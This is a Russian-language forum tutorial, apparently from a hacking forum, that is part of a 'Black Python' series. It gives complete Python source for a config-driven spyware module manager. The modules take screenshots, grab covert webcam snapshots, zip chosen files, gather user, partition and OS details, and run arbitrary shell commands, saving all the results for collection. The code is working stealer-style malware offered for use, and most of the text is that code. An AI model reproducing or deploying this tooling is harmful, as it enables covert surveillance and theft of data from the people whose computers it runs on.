Черный питон — 4. Менеджер модулей

В очередной статье из цикла Black Python, ты узнаешь как написать несколько простых, но популярных функций и связать их механизмом Module Manager.

Сначала разберем функции:

Получение скриншота
Получение снимка с вебкамеры
Упаковка списка файлов
Упаковка папки целиком
Получение информации о компьютере:
- Список пользователей
- Список разделов
- Информация об ОС
Выполнение команды командной строки

В первой части статьи я опишу простую реализацию функций, а во второй оберну их в функции-менеджеры (для связи с конфигами)

Сделать скриншот:
Есть несколько способов получения скриншота, опишу два:

Code:
pip install pillow

Code:
import PIL.ImageGrab

im = PIL.ImageGrab.grab()

im.save(filename)

Code:
pip install pyautogui

Code:
import pyautogui

pyautogui.screenshot(filename)

Объединив в одну функцию с выбором режима, получим:

Code:
def make_screenshot(mode='pil', filename='screenshot.png'):

    try:

        if mode.lower() == 'pil':

            import PIL.ImageGrab

            im = PIL.ImageGrab.grab()

            im.save(filename)

        elif mode.lower() == 'pyautogui':

            import pyautogui

            pyautogui.screenshot(filename)

    except:

        raise ImportError(f'{mode} not found')

Снимок с веб-камеры:

Code:
pip install opencv-python

[code]

def make_web_shot(filename):

    try:

        # пробуем импортировать

        import cv2

        cap = cv2.VideoCapture(0)

        # разогреваем камеру

        for i in range(30):

            cap.read()

        # получаем frame

        ret, frame = cap.read()

        # сохраняем снимок

        cv2.imwrite(filename, frame)

        cap.release()

    except Exception as e:

        raise RuntimeError(e)

Упаковка списка файлов:
Уже использовал эту функцию в одной из предыдущих статей:

Code:
def make_zip(files, filename):

    # создаем папки до архива(если их нет)

    make_folders(filename)

    # открываем через контекстменеджер файл для записи архива

    with zipfile.ZipFile(filename, 'w') as myzip:

        # обрабатываем файл по одному

        for file in files:

            try:

                # пробуем добавить файл

                myzip.write(file)

            except:

                # если не получается, то переходим к следующему файлу

                pass

Упаковка папки:
Функция из модуля shutil:

Code:
shutil.make_archive(archive_name, type, root_directory)

# archive_name - имя итогового архива

# type - формат архива (например, zip)

# root_directory - начальная директория, откуда начать упаковку

Получение информации о компьютере:

Code:
pip install psutil

[code]

def get_info(mode):

    # Список пользователей

    if mode == 'get_users':

        return users()

    # Список разделов

    elif mode == 'get_partitions':

        return disk_partitions()

    # Часть инфы ОС

    elif mode == 'get_node':

        node = get_info('get_os')

        return f"{node['node']} ({node['system']})"

    # Информация об ОС

    elif mode == 'get_os':

        u_info = uname()

        return {'system': u_info.system, 'release': u_info.release, 'node': u_info.node, 'version': u_info.version}

    # Иначе выполняем команду

    else:

        run_cmd(mode)

[/code]

Выполнение команд командной строки:

Code:
def run_cmd(cmd, encode='cp866'):

    # возвращаем вывод результата (текст)

    return Popen(cmd, shell=True, stdout=PIPE).communicate()[0].decode(encode)

Теперь опишем для вышеизложенных функций менеджеры:

Менеджер для функции скриншота:

Code:
def screenshot_manager(screenshot_config):

    filename = screenshot_config['filename']

    mode = screenshot_config['mode']

    make_folders(filename)

    make_screenshot(mode, filename)

Менеджер для функции снимка с веб камеры:

Code:
def webcam_manager(web_cam_config):

    filename = web_cam_config['filename']

    make_folders(filename)

    make_web_shot(filename)

Менеджер для упаковки списка файлов:

Code:
def pack_source_manager(source_config):

    files = []

    # добавляем из списка файлов существующие

    if source_config['files']:

        files = [file for file in source_config['files'] if os.path.exists(file)]

    if source_config['sources']:

        # из каждого файла источника из списка добавляем существующие файлы

        for source in source_config['sources']:

            with open(source, 'r') as source_file:

                files += [file for file in source_file.read().split('\n') if os.path.exists(file)]

    # отправляем список файлов и имя для архива

    make_zip(files=files, filename=source_config['zip_filename'])

Менеджер для упаковки папки:

Code:
def collect_manager(collect_config):

    shutil.make_archive(collect_config['folder'], collect_config['type'], collect_config['folder'])

Менеджер для получения информации:

Code:
def get_info_manager(info_config):

    info = ''

    # Проходим по всем режимам

    for info_mode in ['systeminfo', 'get_os', 'get_partitions', 'get_users']:

        try:

            # Если информация получена, то добавляем ее

            info = f'{info}{str(get_info(info_mode))}\n'

        except:

            pass

    make_folders(info_config['filename'])

    # сохраняем информацию в файл

    with open(info_config['filename'], 'w') as info_file:

        info_file.write(info)

Менеджер для командной строки:

Code:
def run_cmd_manager(cmd_config):

    # Выполняем команду

    result = run_cmd(cmd_config['cmd'])

    # Если имя указано, то сохраняем в файл

    if cmd_config['filename']:

        make_folders(cmd_config['filename'])

        with open(cmd_config['filename'], 'w') as out_file:

            out_file.write(result)

requirments.txt:

Spoiler:

У нас есть несколько менеджеров по работе с функциями из этой статьи + geo + tree описанные в предыдущих статьях. Напишем пару функций для запуска любого из них:

Code:
# Связь между названием модуля в конфиге и менеджером

module_set = {'source': pack_source_manager, 'collect_result': collect_manager, 'screenshot': screenshot_manager,

              'webcam': webcam_manager, 'info': get_info_manager, 'run_cmd': run_cmd_manager}

# Функция для запуска модуля

def execute_module(config, module_name):

    if module_name in module_set:

        module_config = load_module_config(config, module_name)

        # если конфиг загрузился, то исполняем модуль

        if module_config: module_set[module_name](module_config)

# Функция загрузки конфига

def load_module_config(config, module_name):

    # Если модуль есть в общем конфиге

    if config.valid_key(module_name):

        # и этот модуль сейчас должен использоваться

        if config.config[module_name]['use']:

            # то возвращаем конфиг для модуля

            return config.config[module_name]

    return None

Теперь создадим run.py, который запускает модули из config.json:

Code:
import json

from error_log import ErrorLog

from module_manager import execute_module

def main():

    # Подрубаем лог ошибок

    error_log = ErrorLog()

    try:

        # открываем конфиг

        with open('config.json', 'r') as config_file:

            config = json.load(config_file)

            # Пробуем выполнить каждый модуль

            for module in config:

                try:

                    execute_module(config, module)

                except Exception as e:

                    # при ошибке записываем в лог

                    error_log.add(module, e)

    except Exception as e:

        error_log.add(main.__name__, e)

    error_log.save_log()

if __name__ == '__main__':

    main()

Пример конфигурации (json):

Spoiler:

Добавление модулей:

Spoiler:

Полученная структура проекта:

additional.py - общие функции для разных модулей
config.json - конфигурационный файл для run.py
error_log.py - класс логов ошибок
module_manager.py - файл с модульными менеджерами и их запуска
run.py - запуск модуль-менеджера с конфигурацией config.json

Код целиком:

Spoiler:

Code:
import os

import zipfile

from platform import uname

from subprocess import Popen, PIPE, STDOUT, DEVNULL

from psutil import users, disk_partitions

def make_zip(files, filename):

    make_folders(filename)

    with zipfile.ZipFile(filename, 'w') as myzip:

        for file in files:

            try:

                myzip.write(file)

            except:

                pass

def make_folders(path):

    try:

        folder = os.path.dirname(path)

        if folder and not os.path.exists(folder):

            os.makedirs(folder)

    except Exception as e:

        raise FileNotFoundError(f'Folder not create! {e}')

def get_info(mode):

    if mode == 'get_users':

        return users()

    elif mode == 'get_partitions':

        return disk_partitions()

    elif mode == 'get_node':

        node = get_info('get_os')

        return f"{node['node']} ({node['system']})"

    elif mode == 'get_os':

        u_info = uname()

        return {'system': u_info.system, 'release': u_info.release, 'node': u_info.node, 'version': u_info.version}

    else:

        return run_cmd(mode)

def run_cmd(cmd, encode='cp866'):

    return Popen(cmd, shell=True, stdout=PIPE, stderr=STDOUT, stdin=DEVNULL).communicate()[0].decode(encode)

Code:
from additional import make_folders

class ErrorLog:

    def __init__(self):

        self.errors = []

    def add(self, module, error):

        self.errors.append(f'{module} - {error}')

    def error_list(self):

        return self.errors

    def save_log(self, filename='errors.log'):

        make_folders(filename)

        if self.errors and filename:

            with open(filename, 'w') as error_log_file:

                for error in self.errors:

                    error_log_file.write(f'{error}\n')

Code:
import os

import shutil

from additional import make_zip, make_folders, run_cmd, get_info

def execute_module(config, module_name):

    module_set = {'source': pack_source_manager, 'collect_result': collect_manager, 'screenshot': screenshot_manager,

                  'webcam': webcam_manager, 'info': get_info_manager, 'run_cmd': run_cmd_manager}

    if module_name in module_set:

        module_config = load_module_config(config, module_name)

        if module_config: module_set[module_name](module_config)

def load_module_config(config, module_name):

    if module_name in config:

        if config[module_name]['use']:

            return config[module_name]

    return None

def make_screenshot(mode='pil', filename='screenshot.png'):

    try:

        if mode.lower() == 'pil':

            import PIL.ImageGrab

            im = PIL.ImageGrab.grab()

            im.save(filename)

        elif mode.lower() == 'pyautogui':

            import pyautogui

            pyautogui.screenshot(filename)

    except:

        raise ImportError(f'{mode} not found')

def make_web_shot(filename):

    try:

        import cv2

        cap = cv2.VideoCapture(0)

        for i in range(30):

            cap.read()

        ret, frame = cap.read()

        cv2.imwrite(filename, frame)

        cap.release()

    except Exception as e:

        raise RuntimeError(e)

def pack_source_manager(source_config):

    files = []

    if source_config['files']:

        files = [file for file in source_config['files'] if os.path.exists(file)]

    if source_config['sources']:

        for source in source_config['sources']:

            with open(source, 'r') as source_file:

                files += [file for file in source_file.read().split('\n') if os.path.exists(file)]

    make_zip(files=files, filename=source_config['zip_filename'])

def collect_manager(collect_config):

    shutil.make_archive(collect_config['folder'], collect_config['type'], collect_config['folder'])

def screenshot_manager(screenshot_config):

    filename = screenshot_config['filename']

    make_folders(filename)

    mode = screenshot_config['mode']

    make_screenshot(mode, filename)

def webcam_manager(web_cam_config):

    filename = web_cam_config['filename']

    make_folders(filename)

    make_web_shot(filename)

def get_info_manager(info_config):

    info = ''

    for info_mode in ['systeminfo', 'get_os', 'get_partitions', 'get_users']:

        try:

            info = f'{info}{str(get_info(info_mode))}\n'

        except:

            pass

    make_folders(info_config['filename'])

    with open(info_config['filename'], 'w') as info_file:

        info_file.write(info)

def run_cmd_manager(cmd_config):

    result = run_cmd(cmd_config['cmd'])

    if cmd_config['filename']:

        make_folders(cmd_config['filename'])

        with open(cmd_config['filename'], 'w') as out_file:

            out_file.write(result)

Code:
import json

from error_log import ErrorLog

from module_manager import execute_module

def main():

    error_log = ErrorLog()

    try:

        with open('config.json', 'r') as config_file:

            config = json.load(config_file)

            for module in config:

                try:

                    execute_module(config, module)

                except Exception as e:

                    error_log.add(module, e)

    except Exception as e:

        error_log.add(main.__name__, e)

    error_log.save_log()

if __name__ == '__main__':

    main()

Результат работы программы:

info.txt:

Spoiler:

cmd.txt :

Spoiler:

screenshot.png:

Spoiler:

errors.log :

Spoiler:

Причина ошибки:

Spoiler:

Также были получены:

Code:
zip архив result со всеми собранными файлами

Code:
zip архив source с файлом конфигов

спасибо за поддержку Rebreached forums